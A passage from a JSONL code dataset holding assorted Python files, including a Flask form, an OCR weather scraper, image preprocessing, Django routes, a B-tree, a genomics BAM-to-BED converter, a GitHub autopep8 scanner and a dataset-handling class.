\"\"\n\n\twhile Function.has_next(program):\n\t\tbefore,func,after,program = Function.next_func(program)\n\t\tif before!='':\n\t\t\toutside_func += before\n\t\tprogram = after + program\n\t\tfunction = Function(func.splitlines())\n\t\tfunction_list.append(function)\n\toutside_func += after\n\n\ttype_analysis.main(orig_program,function_list,outside_func)\n\n#None -> list[file]\ndef init():\n\targs = parser.parse_args()\n\tprograms = args.programs\n\treturn programs\n\nif __name__==\"__main__\":\n\t#program_list = init()\n\tprograms = [open(\"type_test.py\",'r')]\n\t\n\tfor program in programs:\n\t\tdetect_types(program.read())\n","sub_path":"archive/Python/type_sig.py","file_name":"type_sig.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"612376514","text":"from flask_wtf import FlaskForm\r\nfrom wtforms.validators import InputRequired, Length, Regexp, Email, ValidationError\r\nfrom wtforms import StringField, TextAreaField, SubmitField\r\nfrom studentarchiveapp.models import UsersModel\r\n\r\n\r\nclass ContactForm(FlaskForm):\r\n name = StringField('Name', validators=[Length(min=3, max=20), InputRequired(),\r\n Regexp('^[a-z A-Z]+$', message='Invalid characters in name')])\r\n email = StringField('Email Address', validators=[Email(), InputRequired()])\r\n comment = TextAreaField('Comment', validators=[Length(min=5, max=100), InputRequired()])\r\n submit = SubmitField('Send')\r\n\r\n def validate_email(self, email):\r\n user = UsersModel.query.filter_by(email=email.data).first()\r\n if user is None:\r\n raise ValidationError('Please email doesn\\'t exist. You have to be a user to comment ')\r\n","sub_path":"studentarchiveapp/home/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"262568044","text":"import urllib\nimport PIL\nimport Image\nimport ImageFilter\nimport pytesseract\nimport os\nfrom telegrampush import push\n# Source\nurl = 'http://www.bgc-jena.mpg.de/wetter/Chart_T.gif'\n\n\n# Download the image from the source\n\nurllib.urlretrieve(url, 'tmp.gif')\nprint (\"downloading\")\n\n# Crop the image\nimg = PIL.Image.open(\"tmp.gif\")\nwidth = img.size[0]\nheight = img.size[1]\nprint(width,height)\nimg = img.crop(\n (\n 278,\n 1,\n 518,\n 29\n )\n)\nimg = img.convert(mode=\"1\")\nimg = img.resize((600,60))\n# OCR the image\n#img = img.resize((200,80))\n#img = img.filter(ImageFilter.SMOOTH)\n#img = img.convert(mode=\"1\")\nimg = img.save(\"img.png\")\nimg = PIL.Image.open(\"img.png\")\nimg.load()\ntmp = pytesseract.image_to_string(img,config='--psm 3 -c tessedit_char_whitelist=0123456789-\".C')\nprint (tmp)\n\n\npush(\"Temperature outside: %s .\" % tmp)\nos.system('rm tmp.gif')\nos.system('rm img.png')\n","sub_path":"ltemp.py","file_name":"ltemp.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"608244053","text":"#!/usr/bin/python\n# -*- coding:utf8 -*-\n\nimport numpy as np\nfrom scipy import misc\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\n# ================================================================\n# 对图片进行内容的预处理\n# ================================================================\ndef PreprocessContentImage(path, long_edge):\n img = misc.imread(path)\n print(img.shape)\n logging.info(\"\\t\\tload the content image, size = %s\", img.shape[:2])\n factor = float(long_edge) / max(img.shape[:2])\n new_size = (int(img.shape[0] * factor), int(img.shape[1] * factor))\n resized_img = misc.imresize(img, new_size)\n # sample = np.asarray(resized_img) * 256\n # swap axes to make image from (224, 224, 3) to (3, 224, 224)\n sample=np.transpose(resized_img,[2,0,1])\n sample=np.array(sample,dtype=np.float)\n # sub mean\n sample[0, :] -= 123.68\n sample[1, :] -= 116.779\n sample[2, :] -= 103.939\n logging.info(\"\\t\\tresize the content image to %s\", new_size)\n return np.resize(sample, (1, 3, sample.shape[1], sample.shape[2]))\n\n# ================================================================\n# 对风格图片进行预处理\n# ================================================================\ndef PreprocessStyleImage(path, shape):\n img = misc.imread(path)\n resized_img = misc.imresize(img, (shape[2], shape[3]))\n sample=np.transpose(resized_img,[2,0,1])\n sample=np.array(sample,dtype=np.float)\n\n sample[0, :] -= 123.68\n sample[1, :] -= 116.779\n sample[2, :] -= 103.939\n return np.resize(sample, (1, 3, sample.shape[1], sample.shape[2]))\n\n# ================================================================\n# 保存转换后的图片\n# ================================================================\ndef SaveImage(img, filename):\n logging.info('save output to %s', filename)\n img = np.reshape(img, (3, img.shape[2], img.shape[3]))\n img[0, :] += 123.68\n img[1, :] += 116.779\n img[2, :] += 103.939\n img=np.transpose(img,[1,2,0])\n img = np.clip(img, 0, 255)\n img=img.astype('uint8')\n\n misc.imsave(filename, img)\n","sub_path":"Computer_vision/neurall_style/image_process.py","file_name":"image_process.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282949343","text":"def render(w,h):\n for y in range(h):\n for x in range(w):\n if x==0 or x==w-1 or y==0 or y==h-1:\n print(\"#\",end=\"\")\n else:\n print(\" \",end=\"\")\n print()\n\nrender(10,10)\n\n","sub_path":"ppf-ex09/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"263076062","text":"from django.conf.urls import url\nimport views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n\n #API\n url(r'^api/login$', views.login, name='login'),\n url(r'^api/logout$', views.logout, name='logout'),\n url(r'^api/events_list/?$', views.get_events_list, name='events_list'),\n url(r'^api/event/?$', views.get_event_details, name='events_list'),\n url(r'^api/search_event/?$', views.search_event, name='search_event'),\n url(r'^api/join_event$', views.join_event, name='join_event'),\n url(r'^api/reaction$', views.reaction, name='reaction'),\n url(r'^api/comment$', views.comment, name='comment'),\n url(r'^api/get_participant/?$', views.get_participant, name='get_participant'),\n url(r'^api/get_reaction/?$', views.get_reaction, name='get_reaction'),\n url(r'^api/get_comment/?$', views.get_comment, name='get_comment'),\n\n #API admin\n url(r'^api/admin/login$', views.admin_login, name='admin_login'),\n url(r'^api/admin/upload$', views.admin_upload, name='admin_upload')\n]\n","sub_path":"social_sharing/social_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"542388470","text":"# coding:utf-8\nfrom distutils.core import setup\n\n# 在setup函数前插入语句import py2exe\nimport py2exe\n\nincludes = [\"encodings\", \"encodings.*\"]\noptions = {\n \"pu2exe\":\n {\n \"includes\": includes\n }}\n\nsetup(\n # 1、创建控制台.exe程序\n console=[\"helloworld.py\"]\n\n # 创建图形用户界面\n # windows=[\"helloworld.py\"]\n)\n'''\n1、创建控制台.exe程序\npy2exe一次能够创建多个exe文件，你需要将这些脚本文件的列表传递给console或windows的关键字参数。如果你有几个相关联的脚本，那么这是很有用的。\n\n2、创建图形用户界面\n如果你要创建一个图形用户界面的程序，那么你需要console=[\"myscript.py\"]替换为windows=[\"myscript.py\"]。\n注意windows的用法，他可以代替console， 如果你要集成 wxpython 的时候，一定会用的 \n'''\n","sub_path":"PyModules/py2exe_/DemoSetup.py","file_name":"DemoSetup.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"227588169","text":"from CharacterGenerator import font_source\nfrom CharacterSource import NumericCharacterSource, AlphaNumericCharacterSource\nfrom PIL import Image, ImageDraw, ImageFont, ImageFilter, ImageTransform, ImageChops\nfrom Utils import mkdir\nimport random\nimport numpy as np\nimport uuid\nimport argparse\nimport sys, errno, os\nimport pickle\nimport Drawing\nimport Utils\n\nnum_char_columns = 2\nnum_char_rows = 32\ndebug = True\nchar_source = NumericCharacterSource()\n\ndef create_char_sequence(image_width = 128, image_height = 32, options={}):\n canvas_width = image_width * 2\n canvas_height = image_height * 2\n font = font_source.random_font(options)\n min_color_delta = options.get('min_color_delta', 32)\n text_color = random.randint(0,255)\n background_color = Drawing.random_background_color(text_color, min_color_delta=min_color_delta)\n text = char_source.random_char()\n\n image = Drawing.create_char_background(canvas_width, canvas_height, text_color, background_color, min_color_delta, options=options)\n char_image = Image.new('RGBA', (canvas_width, canvas_height), (0,0,0,0))\n\n text = \"\"\n\n for i in range(0,random.randint(1,10)):\n text += char_source.random_char()\n\n (w,h) = font.calc_text_size(text)\n x = 0.5 * (canvas_width - w)\n y = 0.5 * (canvas_height - h)\n margin = random.random() * 16\n x += (random.random() - 0.5) * 0.5 * margin\n y += (random.random() - 0.5) * (image_height - h)\n\n draw = ImageDraw.Draw(char_image)\n Drawing.draw_text_with_random_outline(draw, x, y, text, font, text_color)\n\n if random.random() > 0.5:\n image = Drawing.add_shadow(char_image, image, x, y, font, text, text_color)\n\n char_image = Image.alpha_composite(image, char_image)\n char_image = Drawing.random_rotate(char_image, options)\n# char_image = perspective_transform(char_image)\n char_image = Drawing.crop(char_image, w + margin, rescale=False)\n char_image = Drawing.random_blur(char_image, options)\n char_image = Drawing.add_noise(char_image, options)\n return char_image, text\n\n\ndef create_segmentation_examples(data_dir, n):\n image_width = 256\n image_height = 32\n options={'min_color_delta':16.0, 'min_blur':0.5, 'max_blur':1.5, 'max_rotation':2.0, 'min_noise':4, 'max_noise':4, 'add_background_lines':False}\n options['full_alphabet'] = False\n\n full_alphabet = options.get('full_alphabet', False)\n if full_alphabet:\n char_source = AlphaNumericCharacterSource()\n\n labels = {}\n mkdir(data_dir)\n for i in range(n):\n Utils.progress_bar(i+1, n)\n id = str(uuid.uuid4())\n char_image, label = create_char_sequence(image_width, image_height, options)\n labels[id] = label\n char_image.save(data_dir + \"/\" + id + \".png\")\n file = open(data_dir + '/' + 'labels.pickle', 'wb')\n print (\"Writing labels.pickle ...\")\n pickle.dump(labels, file, -1)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', action=\"store\", dest=\"n\", type=int, default=1024)\n parser.add_argument('--directory', action='store', dest='data_dir', default='data')\n parser.add_argument(\"--save\", help=\"save image as png along with a pickle of the labels\", action=\"store_true\")\n args = parser.parse_args()\n create_segmentation_examples(args.data_dir, args.n)\n","sub_path":"CharacterSequenceGenerator.py","file_name":"CharacterSequenceGenerator.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"77485212","text":"# coding:utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n# class Article\nclass Article:\n\n def __init__(self, id, url, title, author, time, clstext, modtext, annotext):\n self.id = id\n self.url = url\n self.title = title\n self.author = author\n self.time = time\n self.clstext = clstext\n self.modtext = modtext\n self.annotext = annotext\n\n def set_clsparas(self, clsparas):\n self.clsparas = clsparas\n\n def set_modparas(self, modparas):\n self.modparas = modparas\n\n \"\"\"\n set annotations of the article\n annotation: {paragraph_position:\n {sentence_position:\n [[token_pos,token,note],...]\n }}\n \"\"\"\n def set_annotations(self, annotations):\n self.annotations = annotations\n\n# class Paragraph\nclass Paragraph:\n\n def __init__(self, text, sentences):\n self.text = text\n self.sentences = sentences\n\n def set_sentences(self, sentences):\n self.sentences = sentences\n\n# class Annotation\nclass Annotation:\n token = None\n note = None\n p_pos = None # at which paragraph, specially, \"title\" at title; \"author\" at author.\n s_pos = None # at which sentence.\n t_pos = None # at which token.\n\n def __init__(self, token, note, p_pos, s_pos, t_pos):\n self.token = token\n self.note = note\n self.p_pos = p_pos\n self.s_pos = s_pos\n self.t_pos = t_pos\n","sub_path":"align/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"183737937","text":"class Node:\n def __init__(self):\n self.values = []\n self.next = []\n self.parent = None\n\n\nclass BTree:\n def __init__(self, t):\n self.t = t\n self.root = None\n\n def devastateNode(self, node: Node):\n mid = (3*self.t - 2)//2 - 1\n if node == self.root:\n left = Node()\n right = Node()\n left.values = node.values[:mid]\n left.next = node.next[:mid+1]\n left.parent = node\n for i in left.next:\n i.parent = left\n right.values = node.values[mid+1:]\n right.next = node.next[mid+1:]\n right.parent = node\n for i in right.next:\n i.parent = right\n node.values = [node.values[mid]]\n node.next = [left, right]\n else:\n right = Node()\n right.values = node.values[mid+1:]\n right.next = node.next[mid+1:]\n right.parent = node.parent\n val = node.values[mid]\n node.values = node.values[:mid]\n node.next = node.next[:mid+1]\n for i in range(len(node.parent.values) + 1):\n if i == len(node.parent.values) or val < node.parent.values[i]:\n node.parent.values.insert(i, val)\n node.parent.next.insert(i+1, right)\n break\n\n def insert(self, val, node, allowdevastation):\n if allowdevastation and len(node.values) == 2 * self.t - 1:\n self.devastateNode(node)\n if node.parent is not None:\n self.insert(val, node.parent, False)\n else:\n self.insert(val, node, False)\n elif len(node.next) == 0:\n for i in range(len(node.values) + 1):\n if i == len(node.values) or val < node.values[i]:\n node.values.insert(i, val)\n break\n else:\n for i in range(len(node.values) + 1):\n if i == len(node.values) or val < node.values[i]:\n self.insert(val, node.next[i], True)\n break\n\n def printChildrenFirst(self):\n if self.root is None:\n print(\"Drzewo puste\")\n return\n children = [tree.root]\n while children:\n newchildren = []\n for i in children:\n print(\"|\", end=\" \")\n for j in i.values:\n print(j, end=\" \")\n for j in i.next:\n newchildren.append(j)\n print(\"|\")\n children = newchildren\n\n\ndef printDepthFirst(tree: Node):\n if tree is None:\n print(\"Drzewo puste\")\n return\n printDepthFirst(tree.left)\n print(tree.value)\n printDepthFirst(tree.right)\n\n\ndef insert(tree: Node, val):\n if tree is None:\n tree = Node()\n tree.value = val\n elif val < tree.value:\n tree.left = insert(tree.left, val)\n elif val > tree.value:\n tree.right = insert(tree.right, val)\n return tree\n\n\ndef insert2(tree: Node, val):\n if tree.value is None:\n tree.value = val\n elif val < tree.value:\n tree.left = tree.left or Node()\n insert(tree.left, val)\n elif val > tree.value:\n tree.right = tree.right or Node()\n insert(tree.right, val)\n\n\ndef delete(tree: Node, val, parent):\n res = tree\n while tree is not None and tree.value != val:\n if val < tree.value:\n parent = tree\n tree = tree.left\n elif val > tree.value:\n parent = tree\n tree = tree.right\n\n if tree is not None:\n if tree.left is None and tree.right is None:\n if parent is None:\n return None\n if parent.left == tree:\n parent.left = None\n else:\n parent.right = None\n elif tree.left is not None and tree.right is not None:\n child = tree.right\n childparent = tree\n while child.left is not None:\n childparent = child\n child = child.left\n tree.value = child.value\n delete(child, child.value, childparent)\n else:\n if parent is None:\n return tree.left or tree.right\n if tree == parent.left:\n parent.left = tree.left or tree.right\n else:\n parent.right = tree.left or tree.right\n\n return res\n\n\ntree = BTree(2)\ntree.root = Node()\ntree.root.values = [2, 10]\nleft = Node()\nleft.values = [0, 1]\nleft.parent = tree.root\nmid = Node()\nmid.values = [5, 8]\nmid.parent = tree.root\nright = Node()\nright.values = [15, 16, 17]\nright.parent = tree.root\ntree.root.next = [left, mid, right]\n\ntree.printChildrenFirst()\ntree.insert(16.5, tree.root, True)\ntree.printChildrenFirst()\ntree.insert(17.5, tree.root, True)\ntree.printChildrenFirst()\ntree.insert(18.5, tree.root, True)\ntree.printChildrenFirst()\ntree.insert(9, tree.root, True)\ntree.printChildrenFirst()\ntree.insert(9.5, tree.root, True)\ntree.printChildrenFirst()\n\n\n","sub_path":"btree.py","file_name":"btree.py","file_ext":"py","file_size_in_byte":5074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"584189823","text":"#!/usr/bin/env python\n\n\"\"\"\nPre-processing including following steps:\n1) sorting by read names\n2) remove duplicates\n3) convert to bed file\nCreated by Rongxin Fang\n\"\"\"\nimport sys\nimport gzip\nimport pysam\nimport os\nimport collections \n\ndef is_sorted_queryname(header):\n \"\"\"\n Check if bam fiel is sorted by read name.\n \"\"\"\n if(\"HD\" in header):\n if(\"SO\" in header[\"HD\"]):\n if(header[\"HD\"][\"SO\"] == \"queryname\"):\n return True\n return False\n \ndef main():\n\n barcode_uniq = collections.defaultdict(lambda : 0)\n barcode_total = collections.defaultdict(lambda : 0)\n\n from argparse import ArgumentParser\n # parameters\n \n parser = ArgumentParser(description='snATAC-seq preprocessing')\n parser.add_argument('-i', '--input', help='input bam file', required=True)\n parser.add_argument('-o', '--output', help='output bed/bed.gz file', required=True)\n parser.add_argument('-m', '--mapq', help='min mappability score [30]', required=True)\n parser.add_argument('-t', '--threads', help='number of threads [3]', required=True)\n parser.add_argument('-f', '--flen', help='maximum fragment length [2000]', required=True)\n parser.add_argument('-e', '--elen', help='increase -e base pairs in each direction [75]', required=True)\n \n options = parser.parse_args()\n\n num_threads = 1\n min_mapq = 30\n max_flen = 2000\n exlen = 75 \n # input parsing\n input_bam = options.input\n output_bed = options.output\n num_threads = int(options.threads)\n min_mapq = int(options.mapq)\n max_flen = int(options.flen)\n exlen = int(options.elen)\n \n \n if output_bed.endswith(\".gz\"):\n fout = gzip.open(output_bed, \"wb\")\n else:\n fout = open(output_bed, \"w\")\n \n # start reading the bam\n samfile = pysam.AlignmentFile(input_bam, \"rb\")\n\n\n genome_size = dict([[item[\"SN\"], int(item[\"LN\"])] for item in samfile.header[\"SQ\"]])\n\n pre_barcode = \"\"\n cur_list = []\n \n for read in samfile:\n cur_barcode = read.qname.split(\":\")[0]\n rname = str(read.reference_name)\n rstart = str(max(1, read.reference_end -5 - exlen if read.is_reverse else read.reference_start + 4 - exlen))\n rend = str(min(genome_size[rname], read.reference_end - 5 + exlen if read.is_reverse else read.reference_start +4 + exlen))\n #rstart = str(max(1, read.reference_start - exlen if read.is_reverse else read.reference_start + 4 - exlen))\n #rend = str(min(genome_size[rname], read.reference_end - 5 + exlen if read.is_reverse else read.reference_end + exlen))\n if(pre_barcode == cur_barcode):\n cur_list.append((rname, rstart, rend, cur_barcode))\n \n barcode_total[cur_barcode] += 1\n else:\n for item in set(cur_list):\n barcode_uniq[item[3]] += 1\n fout.write(\"\\t\".join(list(item))+\"\\n\")\n pre_barcode = cur_barcode\n cur_list = [(rname, rstart, rend, cur_barcode)]\n barcode_total[cur_barcode] += 1\n \n # don't forget about the last barocode\n for item in set(cur_list):\n barcode_uniq[item[3]] += 1\n fout.write(\"\\t\".join(list(item))+\"\\n\")\n\n samfile.close()\n \n # write down the qc file\n with open(output_bed+\".qc\", \"w\") as fout:\n for barcode in barcode_total:\n fout.write(\"\\t\".join([barcode, str(barcode_uniq[barcode]), str(1 - float(barcode_uniq[barcode])/barcode_total[barcode])]) + \"\\n\") \n \nif __name__ == '__main__':\n main()\n","sub_path":"scAR_process/snap_prebed.py","file_name":"snap_prebed.py","file_ext":"py","file_size_in_byte":3586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"428095025","text":"from github import Github\nimport autopep8\nfrom datetime import datetime\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n\nnumber = 0\n\ndef main():\n token = os.getenv('GIT_HUB_TOKEN')\n g = Github(token)\n username = os.getenv('GIT_HUB_USERNAME')\n\n for repo in g.search_repositories(\"language:Python pugs pushed:>2020-08-28\"):\n now = datetime.now()\n\n current_time = now.strftime(\"%H:%M:%S\")\n print(\"Current Time =\", current_time)\n print(g.rate_limiting)\n print(g.rate_limiting_resettime)\n analyze_repo(repo)\n\ndef analyze_repo(repo):\n global number\n for file_text in get_files_text(repo, \".py\"):\n origin = file_text.decoded_content.decode()\n new = autopep8.fix_code(origin)\n if new != origin:\n print(\"COMMIT fix to file\", file_text.path)\n\ndef commit_change(repo, file, new_data, commit):\n print(repo.url)\n print(\"file.path\", file.path)\n print(\"file.sha\", file.sha)\n repo.update_file(\"/\" + file.path, commit, new_data, file.sha)\n\n\ndef get_files_text(repo, end):\n end_len = len(end)\n contents = repo.get_contents(\"\")\n while contents:\n file_content = contents.pop(0)\n if file_content.type == \"dir\":\n contents.extend(repo.get_contents(file_content.path))\n else:\n if len(file_content.path) > end_len:\n file_end = file_content.path[len(file_content.path) - end_len:]\n if file_end == end:\n yield file_content\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"46700801","text":"\nimport numpy as np\nimport random\n\nfrom .datasets_base import DatasetsBase, InOut, DATASET_OPS\nfrom ..core.registry import DATASET_AUGMENT, DATASET_CREATE, DATASET_INOUT, DATASET_LOAD, DATASET_PREPROCESS, DATASET_SAVE, DATASET_SPLIT\n\n\nclass Datasets(DatasetsBase):\n \"\"\"\n Datasets class cotaining trainig, test and validation datasets\n self.dataset : Original dataset\n self.dataset_test : Test dataset (split from self.dataset)\n self.dataset_test_xy : Test dataset, inputs and outputs\n self.dataset_train : Train dataset (split of self.dataset_\n self.dataset_train_xy : Train dataset inputs and outputs\n self.dataset_validate : Valiation dataset (split from self.dataset)\n self.dataset_validate_xy : Validation dataset inputs and outputs\n \"\"\"\n def __init__(self, config, set_config=True):\n super().__init__(config, set_config)\n\n def augment(self):\n ret = self.invoke_augment()\n if ret:\n return ret\n # We provide a default implementation\n return self.default_augment()\n\n def __call__(self):\n \"\"\"\n Load (or create) dataset, then augment, proprocess and split\n Save at each step for faster processing / consistency\n \"\"\"\n if not self.enable:\n self._debug(f\"Dataset disabled, skipping (enable='{self.enable}')\")\n return True\n self._debug(\"Start\")\n self.should_save = False\n if self.load():\n self._debug(f\"Dataset loaded. {self.memory()}\")\n elif self.create():\n self._debug(f\"Dataset created. {self.memory()}\")\n self.should_save = True\n else:\n self._debug(\"Could not load or create dataset\")\n return False\n # Perform operations\n for op in self.operations:\n if self.do(op):\n self.should_save = True\n # Get inputs / outputs\n self.in_outs()\n # Save\n if self.should_save:\n self._debug(\"Should save = {self.should_save}, saving dataset\")\n self.save()\n self._debug(f\"End. {self.memory()}\")\n return True\n\n def _config_sanity_check(self):\n \"\"\"\n Check parameters from config.\n Return True on success, False if there are errors\n \"\"\"\n if self.dataset_path is None:\n self._fatal_error(\"Missing 'dataset_path' parameters in config file '{self.config.config_file}', section {CONFIG_DATASET}\")\n if self.dataset_name is None:\n self._fatal_error(\"Missing 'dataset_name' parameters in config file '{self.config.config_file}', section {CONFIG_DATASET}\")\n return True\n\n def create(self):\n return self.invoke_create()\n\n def default_augment(self):\n return False\n\n def default_in_out(self, ds, name):\n \"\"\" Default method for getting inputs / outputs \"\"\"\n if self.is_use_all_inputs:\n # Use all inputs, no output (e.g. unsupervised learning)\n return InOut(ds, None)\n self._fatal_error(\"Default 'dataset_inout' method not defined\")\n return InOut(None, None)\n\n def default_load(self):\n \"\"\" Load dataset from pickle file. Return new dataset \"\"\"\n if self.do_not_load_pickle:\n return False\n file_name = self.get_file()\n self._debug(f\"Load dataset from file '{file_name}'\")\n ds = self._load_pickle(file_name, 'Load dataset')\n if ds:\n # Copy data from loaded dataset\n self.dataset = ds.dataset\n self.dataset_test = ds.dataset_test\n self.dataset_train = ds.dataset_train\n self.dataset_validate = ds.dataset_validate\n self.operations = ds.operations\n self.operations_done = ds.operations_done\n self._debug(f\"Load dataset done, file '{file_name}'\")\n return ds is not None\n\n def default_preprocess(self):\n \" Default implementation for '@dataset_preprocess' \"\n self._debug(f\"Default dataset preprocess not defined, skipping\")\n return False\n\n def default_save(self):\n \"\"\" Default implementation of '@dataset_save' \"\"\"\n return self._save_pickle(self.get_file(), 'Save dataset', self)\n\n def default_split(self):\n \"\"\"\n Default implementation for '@dataset_split'\n Assumptions:\n 1) self.dataset object is iterable\n 2) Parameter 'split_test' and 'split_validate' are defined such that\n 2.a) split_test >= 0\n 2.b) split_validate >= 0\n 2.c) split_test + split_validate < 1\n It returns three list of 'samples': train, validate, test\n \"\"\"\n # Is datasets iterable?\n self._debug(f\"Using default split method\")\n # Are split parameters defined?\n kwargs = self.config.get_parameters_functions(DATASET_SPLIT)\n for key in ['split_test', 'split_validate']:\n if key not in kwargs:\n self._debug(f\"Cannot run default _split: Parameter '{key}' not in defined for section '{DATASET_SPLIT}' in YAML file\")\n return False\n split_test, split_validate = kwargs['split_test'], kwargs['split_validate']\n # Split dataset into three lists\n idx_train, idx_validate, idx_test = list(), list(), list()\n len_tot = len(self.dataset)\n for idx in range(len_tot):\n r = random.random()\n if r <= split_validate:\n idx_validate.append(idx)\n elif r <= split_test + split_validate:\n idx_test.append(idx)\n else:\n idx_train.append(idx)\n self._info(f\"Splitting dataset: train={len(idx_train) / len_tot}, validate={len(idx_validate) / len_tot}, test={len(idx_test) / len_tot}. {self.memory()}\")\n idx_train, idx_validate, idx_test = np.array(idx_train), np.array(idx_validate), np.array(idx_test)\n return self.split_idx(idx_train, idx_validate, idx_test)\n\n def do(self, op):\n \"\"\"\n Perform an abstract operation on a dataset\n Return True if the dataset operation has been applied (i.e. the dataset changed)\n \"\"\"\n self._debug(f\"Dataset operation '{op}': Start\")\n ok = False\n if op in self.operations_done:\n self._debug(f\"Operation '{op}' has been done. Skipping\")\n return False\n if op == DATASET_AUGMENT:\n ok = self.augment()\n elif op == DATASET_CREATE:\n ok = self.create()\n elif op == DATASET_PREPROCESS:\n ok = self.preprocess()\n elif op == DATASET_SPLIT:\n ok = self.split()\n elif op == DATASET_INOUT:\n ok = self.in_outs()\n else:\n raise ValueError(f\"Unknown dataset operation '{op}'\")\n if ok:\n self.operations_done.add(op)\n self._debug(f\"Dataset operation '{op}': End, ok={ok}. {self.memory()}\")\n return ok\n\n def __getitem__(self, key):\n return self.dataset[key]\n\n def _in_out(self, ds, name):\n \"\"\"\n Split dataset inputs and outputs from dataset 'ds'\n Returns an InOut named tuple\n \"\"\"\n if ds is None:\n return InOut(None, None)\n self._debug(f\"Get inputs & outputs from dataset '{name}'\")\n (invoked, ret) = self.invoke_in_out(ds, name)\n if invoked:\n self._debug(f\"In/Out {name} invoked: {self.memory()}\")\n return ret\n # We provide a default implementation for 'in_out'\n if self.is_use_default_in_out:\n return self.default_in_out(ds, name)\n self._fatal_error(\"Unable to get inputs & output from dataset. No function registered\")\n return InOut(None, None)\n\n def in_outs(self, all=True):\n \"\"\" Get inputs & outputs for all datasets \"\"\"\n if all:\n self.dataset_xy = self._in_out(self.dataset, 'all')\n self.dataset_test_xy = self._in_out(self.dataset_test, 'test')\n self.dataset_train_xy = self._in_out(self.dataset_train, 'train')\n self.dataset_validate_xy = self._in_out(self.dataset_validate, 'validate')\n self._debug(f\"In/Out finshed: {self.memory()}\")\n return True\n\n def invoke_augment(self):\n \" Invoke user defined function for '@dataset_augment' \"\n args = [self.dataset]\n (invoked, ret) = self.config.invoke(DATASET_AUGMENT, 'Augment', args)\n if invoked:\n self.dataset = ret\n return invoked\n\n def invoke_create(self):\n \" Invoke user defined function for '@dataset_create' \"\n (invoked, ret) = self.config.invoke(DATASET_CREATE, 'Create dataset')\n if invoked:\n self.dataset = ret\n return invoked\n\n def invoke_in_out(self, ds, name):\n \" Invoke user defined function for '@dataset_inout' \"\n args = [ds]\n (invoked, ret) = self.config.invoke(DATASET_INOUT, f\"InOut {name}\", args)\n if invoked:\n if ret is None or len(ret) != 2:\n self._fatal_error(f\"User defined function '{DATASET_INOUT}' should return a tuple, but it returned '{ret}'\")\n x, y = ret\n return True, InOut(x, y)\n return False, InOut(None, None)\n\n def invoke_load(self):\n \" Invoke user defined function fo '@dataset_load' \"\n (invoked, ret) = self.config.invoke(DATASET_LOAD, 'Load dataset')\n if invoked:\n self.dataset = ret\n return invoked\n\n def invoke_preprocess(self):\n \" Invoke user defined function for '@dataset_preprocess' \"\n args = [self.dataset]\n (invoked, ret) = self.config.invoke(DATASET_PREPROCESS, 'Preprocess', args)\n if invoked:\n self.dataset = ret\n return invoked\n\n def invoke_save(self):\n \" Invoke user defined function for '@dataset_save' \"\n args = [self.dataset, self.dataset_train, self.dataset_test, self.dataset_validate]\n (invoked, ret) = self.config.invoke(DATASET_SAVE, 'Save dataset', args)\n return invoked\n\n def invoke_split(self):\n \" Invoke user defined function for '@dataset_split' \"\n args = [self.dataset]\n (invoked, ret) = self.config.invoke(DATASET_SPLIT, 'Split dataset', args)\n if invoked:\n # The returned dataset is a tuple, unpack it\n self.dataset_train, self.dataset_validate, self.dataset_test = ret\n return invoked\n\n def __len__(self):\n return 0 if self.dataset is None else len(self.dataset)\n\n def load(self):\n \"\"\" Try to load dataset, first from pickle otherwise from user defined function \"\"\"\n if self.default_load():\n self.should_save = False\n return True\n if self.invoke_load():\n self.should_save = True\n return True\n return False\n\n def preprocess(self):\n ret = self.invoke_preprocess()\n if ret:\n return ret\n # We provide a default implementation\n if self.is_use_default_preprocess:\n return self.default_preprocess()\n return False\n\n def reset(self, soft=False):\n \"\"\" Reset fields \"\"\"\n self.dataset = None\n self.dataset_test = None\n self.dataset_train = None\n self.dataset_validate = None\n self.operations_done = set()\n if not soft:\n self.dataset_xy = InOut(None, None)\n self.dataset_test_xy = InOut(None, None)\n self.dataset_train_xy = InOut(None, None)\n self.dataset_validate_xy = InOut(None, None)\n self.operations = DATASET_OPS\n self.outputs = list()\n self.should_save = False\n\n def save(self):\n \"\"\" Try to save dataset, first use user defined function otherwise save to pickle otherwise\"\"\"\n if self.do_not_save:\n return False\n return True if self.invoke_save() else self.default_save()\n\n def split(self):\n \" Split dataset into train, test, validate \"\n ret = self.invoke_split()\n if ret:\n self._debug(f\"Split invoked: {self.memory()}\")\n return ret\n # We provide a default implementation for dataset_split\n if self.is_use_default_split:\n ret = self.default_split()\n self._debug(f\"Split default result {ret}: {self.memory()}\")\n return ret\n return False\n\n def 